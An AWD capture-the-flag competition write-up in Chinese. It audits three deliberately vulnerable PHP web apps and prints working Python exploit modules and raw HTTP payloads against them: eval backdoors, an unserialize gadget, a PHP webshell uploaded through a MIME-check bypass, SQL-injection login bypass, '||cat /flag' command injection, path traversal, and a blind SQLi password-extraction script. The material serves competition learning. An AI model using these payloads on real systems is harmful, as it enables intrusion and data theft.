在很多大型互联网公司中,安全团队会经常组织攻防模拟演练,目的是以攻促防,提前发现潜在风险,协助提升业务系统安全性和完善安全系统能力,更有效的抵御黑客攻击。
在网络安全的众多比赛中,AWD比赛就是这种攻防兼备的比赛形式。今天分享的文章是 i 春秋论坛的作者flag0原创的文章,他为我们带来的是一次AWD比赛的总结,想要了解AWD比赛的小伙伴,这篇文章不容错过,文章未经许可禁止转载!
注:i 春秋公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。
AWD介绍
AWD(Attack With Defense,攻防兼备)是一个非常有意思的模式,你需要在一场比赛里要扮演攻击方和防守方,攻者得分,失守者会被扣分。也就是说,攻击别人的靶机可以获取 Flag 分数时,别人会被扣分,同时你也要保护自己的主机不被别人得分,以防扣分。
这种模式非常激烈,赛前准备要非常充分,手上要有充足的防守方案和 EXP 攻击脚本,而且参赛越多,积累的经验就越多,获胜的希望就越大。
比赛规则
- 每个团队分配到一个Docker主机,给定Web(Web)/ Pwn(Pwn)用户权限,通过特定的端口和密码进行连接;
- 每台Docker主机上运行一个网络服务或其他的服务,需要选手保证其可用性,并尝试审计代码,攻击其他队伍;
- 选手可以通过使用突破获取其他队伍的服务器的权限,读取其他服务器上的标志并提交到平台上;
- 每次成功攻击可能5分,被攻击者取代5分;
- 有效攻击五分钟一轮。选手需要保证己方服务的可用性,每次服务不可用,替换10分;
- 服务检测五分钟一轮;
- 禁止使用任何形式的DOS攻击,第一次发现扣1000分,第二次发现取消比赛资格。
Web1
首先用D盾进行查杀。
预留后门
pass.php
<?php
@eval($_POST['pass']);
?>
很简单直接的一句话后门
yjh.php
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
//uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID
//这里用于生成session
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");//读取post内容
if(!extension_loaded('openssl'))//检查openssl扩展是否已经加载
{//如果没有openssl
$t="base64_"."decode";
$post=$t($post."");//base64_decode
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15]; //进行异或加密
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);//aes加密
}
$arr=explode('|',$post);//返回由字符串组成的数组
$func=$arr[0];
$params=$arr[1];//获取第二个
class C
{
public function __construct($p) // __construct() 允许在实例化一个类之前先执行构造方法
{
eval($p."");//直接eval
}
}
home.php?mod=space&uid=162648 C($params);
}
?>
生成随机密钥值通过密钥值对加密,如果服务器没有openssl扩展,则与密钥值进行异或解密,如果有openssl环境,则使用密钥值进行解密。
搞清楚了代码逻辑之后,编写利用脚本。
服务端有openssl扩展的利用脚本
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
def aes_encode(key, text):
key = key.encode()
text = text.encode()
text = pad(text, 16)
model = AES.MODE_CBC # 定义模式
aes = AES.new(key, model, b' ')
enPayload = aes.encrypt(text) # 加密明文
enPayload = base64.encodebytes(enPayload) # 将返回的字节型数据转进行base64编码
return enPayload
def getBinXie(url):
req = requests.session()
url = url+"/yjh.php"
par = {
'pass':''
}
key = req.get(url,params=par).content
key = str(key,encoding="utf8")
payload = '1|system("cat /flag");'
enPayload = aes_encode(key,payload)
res = req.post(url,enPayload).text
return res
if __name__ == '__main__':
url = "http://localhost"
flag = getBinXie(url)
print(flag)
因为php中加密方式是AES128,所以可以判断是CBC模式。
服务端没有openssl扩展的利用脚本
当没有扩展的时候会执行异或加密
def xorEncode(key,text):
textNew = ""
for i in range(len(text)):
left = ord(text[i])
rigth = ord(key[i+1&15])
textNew += chr(left ^ rigth)
textNew = base64.b64encode(textNew.encode())
textNew = str(textNew,encoding="utf8")
return textNew
def getBinXieXor(url):
req = requests.session()
url = url+"/login/yjh.php"
par = {
'pass':''
}
key = req.get(url,params=par).content
key = str(key,encoding="utf8")
text = "|system('cat /flag');"
enPayload = xorEncode(key,text)
res = req.post(url, enPayload).text
return res
在Web1中,loginyjh.php与pmainxie2.0.1.php与yjh.php内容是一样的。
反序列化后门
sqlhelper.php
D盾没扫出来的,还有一个反序列化后门。
if (isset($_POST['un']) && isset($_GET['x'])){
class A{
public $name;
public $male;
function __destruct(){//析构方法,当这个对象用完之后,会自动执行这个函数中的语句
$a = $this->name;
$a($this->male);//利用点
}
}
unserialize($_POST['un']);
}
$a($this->amle)如果$a=eval;$b=system('cat /flag');
就相当于eval(system("cat /flag"));
构造payload:
<?php
class A{
public $name;
public $male;
function __destruct(){//对象的所有引用都被删除或者当对象被显式销毁时执行
$a = $this->name;
$a($this->male);//利用点
}
$flag = new A();
$flag -> name = "system";
$flag -> male = "cat /flag";
var_dump(serialize($flag));
?>
获得反序列化字符串:
O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";}
封装成攻击函数:
def getSerialize(url):
import requests
url = url + "/sqlhelper.php?x=a"
payload = {
"un":'O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";}'
}
flag = requests.post(url=url,data=payload).content
return str(flag,encoding="utf8").strip()
文件上传漏洞
info.php
<?php
include_once "header.php";
include_once "sqlhelper.php";
?>
<?php
if (isset($_POST['address'])) {
$helper = new sqlhelper();
$address = addslashes($_POST['address']);
if (isset($_POST['password'])) {
$password = md5($_POST['password']);
$sql = "UPDATE admin SET address='$address',password='$password' WHERE id=$_SESSION[id]";
} else {
$sql = "UPDATE admin SET address='$address' WHERE id=$_SESSION[id]";
}
$res = $helper->execute_dml($sql);
if ($res) {
echo "<script>alert('更新成功');</script>";
}
if (isset($_FILES)) {
if ($_FILES["file"]["error"] > 0) {
echo "错误:" . $_FILES["file"]["error"] . "<br>";
} else {
$type = $_FILES["file"]["type"];
if($type=="image/jpeg"){
$name =$_FILES["file"]["name"] ;
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo "<script>alert('文件已经存在');</script>";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"], "assets/images/avatars/" . $_FILES["file"]["name"]);
$helper = new sqlhelper();
$sql = "UPDATE admin SET icon='$name' WHERE id=$_SESSION[id]";
$helper->execute_dml($sql);
}
}else{
echo "<script>alert('不允许上传的类型');</script>";
}
}
}
}
?>
可以看到文件上传的这里,只验证了cron-type,只要是把其修改为image/jepg就可以上传任意文件到assets/images/avatars/目录下了。
这里属于后台页面有权限控制,必须登陆后才能访问。
<?php
session_start();
if (!isset($_SESSION['username'])){
header('Location: /login');
}
查看登陆页面login/index.php
<?php
if (isset($_POST['username'])){
include_once "../sqlhelper.php";
$username=$_POST['username'];
$password = md5($_POST['password']);
$sql = "SELECT * FROM admin where name='$username' and password='$password';";
$help = new sqlhelper();
$res = $help->execute_dql($sql);
echo $sql;
if ($res->num_rows){
session_start();
$row = $res->fetch_assoc();
$_SESSION['username'] = $username;
$_SESSION['id'] = $row['id'];
$_SESSION['icon'] = $row['icon'];
echo "<script>alert('登录成功');window.location.href='/'</script>";
}else{
echo "<script>alert('用户名密码错误')</script>";
}
}
SQL语句输入的部分没有任何过滤,很明显存在SQL注入漏洞,可以万能密码登陆绕过。
POST /login/index.php HTTP/1.1
Host: localhost.110.165.119:90
Content-Length: 33
Cache-Control: max-age=0
Origin: http://localhost:90
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:90/login/index.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=494n7s8cfqqarg9qaqm57ql534
Connection: close
username=admin'%23&password=ccccc
利用链为login/index.php万能密码登陆-> info.php任意文件上传。
编写脚本:
def getUPload(url):
import requests
req = requests.session()
datas = {
"username":"admin'#",
"password":""
}
login = req.post(url=url+"login/index.php",data=datas)
head = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0",
"Cookie": "PHPSESSID="+login.cookies.items()[0][1]
}
datas = {
"address":"123123"
}
file = {
("file",("shell.php","<?php eval($_POST['cmd']);?>","image/jpeg"))
}
req.post(url+"info.php",headers=head,files=file,data=datas).text
datas = {
"cmd":"system('cat /flag');",
}
flag = req.post(url+"assets/images/avatars/shell.php",data=datas).text
return flag.strip()
Web2
同样先用D盾扫一扫
预留后门
index.php
<!-- partial -->
<script src="./script.js"></script>
<?php @eval($_POST['nono']);?>
</body>
</html>
images pass.php与icon pww.php
是和Web1类似,这里就不再过多描述。
命令执行
connect.php
D盾报警的是这行$r = exec("ping -c 1 $host");
查看整段的逻辑:
<?php
if ($check == 'net') {
$r = exec("ping -c 1 $host");
if ($r) {
?>
<div class="sufee-alert alert with-close alert-success alert-dismissible fade show">
<span class="badge badge-pill badge-success">Success</span>
网络通畅
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php
} else {
?>
<div class="sufee-alert alert with-close alert-danger alert-dismissible fade show">
<span class="badge badge-pill badge-danger">Error</span>
网络异常
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php
}
}
echo "";
?>
发现并没有回显,而是根据状态来显示不同的html代码,其中$host变量是可控的,我们看下是怎么赋值的:
if (isset($_GET['check'])) {
$check = $_GET['check'];
$id = intval($_GET['id']);
$sql = "SELECT host,port from host where id = $id";
$res = $helper->execute_dql($sql);
$row = $res->fetch_assoc();
$host = $row['host'];
$port = $row['port'];
if ($check=='web'){
$location = $host.':'.$port; // Get the URL from the user.
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $location); // Not validating the input. Trusting the location variable
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$res_web = curl_exec($curl);
curl_close($curl);
}
}
可以看到是从数据库查询的结果,接着看是如何插入数据库的:
if (isset($_POST['host'])) {
$host = addslashes($_POST['host']);
$port = intval($_POST['port']);
if ($host && $port) {
$sql = "INSERT INTO `host` (`host`, `port`) VALUES ('$host', '$port')";
$res = $helper->execute_dml($sql);
echo "<script>alert('成功加入云主机');</script>";
} else {
echo "<script>alert('不可以为空');</script>";
}
}
在传入的时候经过了addslashes转义,但是转义对命令执行来说没有什么作用。
在connect.php中开头包含了header.php文件。
<?php
include "header.php";
include_once "sqlhelper.php";
$helper = new sqlhelper();
而header.php中包含了login_require.php在其中有session的检测。
<?php
session_start();
if (!isset($_SESSION['username'])){
header('Location: /login');
}
在login/index.php中存在的SQL语句没有经过任何过滤,存在SQL注入,可以使用万能密码登陆。
<?php
if (isset($_POST['username'])) {
include_once "../sqlhelper.php";
$username = $_POST['username'];
$password = md5($_POST['password']);
$sql = "SELECT * FROM admin where username='$username' and password='$password'";
$help = new sqlhelper();
$res = $help->execute_dql($sql);
if ($res->num_rows) {
session_start();
$row = $res->fetch_assoc();
$_SESSION['username'] = $username;
$_SESSION['id'] = $row['id'];
echo "<script>alert('登录成功');window.location.href='/'</script>";
} else {
echo "<script>alert('用户名密码错误')</script>";
}
}
?>
构造payload
构造利用payload
POST /connect.php?check=net&id=16 HTTP/1.1
Host: localhost:91
Content-Length: 60
Cache-Control: max-age=0
Origin: http://localhost:91
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:91/connect.php?check=net&id=16
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=6f3h723lnmdc1vd4u066p2rc75
Connection: close
host=||cat /flag > /usr/local/apache2/htdocs/1.txt&port=1123
因为没有回显所以将标志写入文件中,我们直接访问即可。
虽然有session,但是发现不登陆直接访问也可以。
虽然304跳转,但是却仍然执行命令了。
编写利用模块:
def getExec(url):
import requests
datas = {
"host":"||cat /flag > /usr/local/apache2/htdocs/1.txt",
"port":9999
}
requests.post(url+"/connect.php?check=net&id=16",data=datas)#执行命令
flag = requests.get(url+"1.txt").text
return flag.strip()
任意文件访问
img.php
<?php
$file = $_GET['img'];
$img = file_get_contents('images/icon/'.$file);
//使用图片头输出浏览器
header("Content-Type: image/jpeg;text/html; charset=utf-8");
echo $img;
exit;
这里可以利用目录穿越,直接读取到flag。
构造payload:
/img.php?img=/../../../../../../flag
编写利用模块:
def getImg(url):
import requests
param = {
"img":"/../../../../../../flag"
}
flag = requests.get(url+"/img.php",params=param).text
return flag.strip()
反序列化后门
sqlhelper.php
<?php
class A{
public $name;
public $male;
function __destruct(){
$a = $this->name;
$a($this->male);
}
}
unserialize($_POST['un']);
?>
这里的利用和Web1中的利用是一样的,只不过少了if (isset($_POST['un']) && isset($_GET['x']))的限制,少了$_GET['x']参数,用之前的利用模块即可。
Web3
同样这里使用D盾扫一下
只扫到了一个
命令执行
export.php
<?php
if (isset($_POST['name'])){
$name = $_POST['name'];
exec("tar -cf backup/$name images/*.jpg");
echo "<div class="alert alert-success" role="alert">导出成功,<a href='backup/$name'>点击下载</a></div>";
}
?>
构造payload:
name=||cat /flag > /usr/local/apache2/htdocs/1.txt||
因为这里没有回显所以,也只能导出flag,或者可以利用这个后门写入Webshell。
编写利用模块:
def getExec3(url):
import requests
datas = {
"name":"||cat /flag > /usr/local/apache2/htdocs/1.txt||"
}
requests.post(url+"/export.php",data=datas)
flag = requests.get(url+"/1.txt").text
return flag.strip()
文件包含
index.php
<?php
include_once "login_require.php";
if (isset($_GET['page'])){
$page = $_GET['page'];
}else{
$page = 'chart.php';
}
?>
<!-- --><?php
include_once "$page";
// ?>
构造payload,直接包含标志文件(这里必须登陆,才可以利用)。
index.php?page=../../../../flag
看一下login / index.php
<?php
if (isset($_POST['username'])) {
include_once "../sqlhelper.php";
$username = addslashes($_POST['username']);
$password = md5($_POST['password']);
$sql = "SELECT * FROM admin where username='$username' and password='$password'";
var_dump($sql);
$help = new sqlhelper();
$res = $help->execute_dql($sql);
if ($res->num_rows) {
session_start();
$row = $res->fetch_assoc();
$_SESSION['username'] = $username;
$_SESSION['id'] = $row['id'];
echo "<script>alert('登录成功');window.location.href='/'</script>";
} else {
echo "<script>alert('用户名密码错误')</script>";
}
}
?>
username处被addslashes( )转义了,而且没有编码转换。
这里只能使用默认的账号密码登陆,查看数据库中密码。
INSERT INTO `admin` (`id`, `username`, `password`) VALUES
(1, 'admin', 'e10adc3949ba59abbe56e057f20f883e');
经在线解密为123456
我们据此构造利用模块:
def getInclude(url):
import requests
import re
req = requests.session()
datas = {
"username":"admin",
"password":"123456"
}
login = req.post(url=url+"login/index.php",data=datas)
head = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0",
"Cookie": "PHPSESSID="+login.cookies.items()[0][1]
}
param = {
"page":"../../../../flag"
}
rep = req.get(url+"/index.php",params=param,headers=head).text
keys = re.search("flag{(.+?)}",rep)
flag = keys.group(1)
flag = "flag{"+flag+"}"
return flag
这样就只有账号密码没有修改的会中招。
SQL注入
order.php
order.php处存在SQL注入漏洞,用延时注入可以注入出来密码,但是效率有点低。
<?php
include_once "sqlhelper.php";
$helper = new sqlhelper();
if (isset($_POST['name'])) {
$name = addslashes($_POST['name']);
$price = intval($_POST['price']);
if (isset($_FILES)) {
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts)) {
if ($_FILES["file"]["error"] > 0) {
echo "错误:" . $_FILES["file"]["error"] . "<br>";
} else {
$filename = $_FILES["file"]["name"];
if (file_exists("upload/" . $_FILES["file"]["name"])) {
echo "<script>alert('文件已经存在');</script>";
} else {
move_uploaded_file($_FILES["file"]["tmp_name"], "images/" . $_FILES["file"]["name"]);
}
}
} else {
echo "<script>alert('不允许上传的类型$t');</script>";
}
}
if ($name && $price) {
$sql = "INSERT INTO `product` (`name`, `price`,`img`) VALUES ('$name', '$price','$filename')";
$res = $helper->execute_dml($sql);
if ($res){
echo "<script>alert('添加成功');</script>";
}
} else {
echo "<script>alert('添加失败');</script>";
}
}
这里的insert语句将'$name', '$price','$filename'带入了数据库。
$name = addslashes($_POST['name']);
$price = intval($_POST['price']);
而$ name和$ price经过了处理,只有$ filename参数可以利用了,可以使用延时注入。
下面附上脚本,可以调用cmd5的接口进行md5解密,但是这个脚本跑下来效率很低。
#coding=utf8
import requests
import time
def getAdminPass(url):
passwdMd5 = ""
md5Api = "https://www.cmd5.com/api.ashx?email=邮箱&key=这里换上你的key&hash="
for i in range(32):
for c in range(32,127):
payload = "' or if((ascii(mid((select password from admin),{0},1))={1}),sleep(3),1))#') .png".format(str(i+1),str(c))
print(payload)
file = {
("file", ("{0}".format(payload), "", "image/png"))
}
datas = {
"name": "1",
"price": "2"
}
start_time = time.time()
requests.post(url + "/order.php", data=datas, files=file)
end_time = time.time()
if (end_time - start_time) > 3:
passwdMd5 += chr(c)
print(passwdMd5)
break
passwd = requests.get(md5Api+passwdMd5).text.strip()
errDict = {
0:"解密失败",
-1:"无效的用户名密码",
-2:"余额不足",
-3:"解密服务器故障",
-4:"不识别的密文",
-7:"不支持的类型",
-8:"api权限被禁止",
-999:"其它错误"
}
if "CMD5-ERROR" in passwd:
index = passwd.rfind(":")
errId = passwd[index+1:]
errStr = errDict.get(int(errId))
return "[-]Error: "+errStr
else:
return passwd.strip()
if __name__ == '__main__':
url = "http://locahost:92"
passwd = getAdminPass(url)
print(passwd)
总结
这次比赛是三个Web两个Pwn,一共三个小时的时间,比赛过程中惊叹于师傅们的快速审计与突破利用能力,深深的感觉到了差距。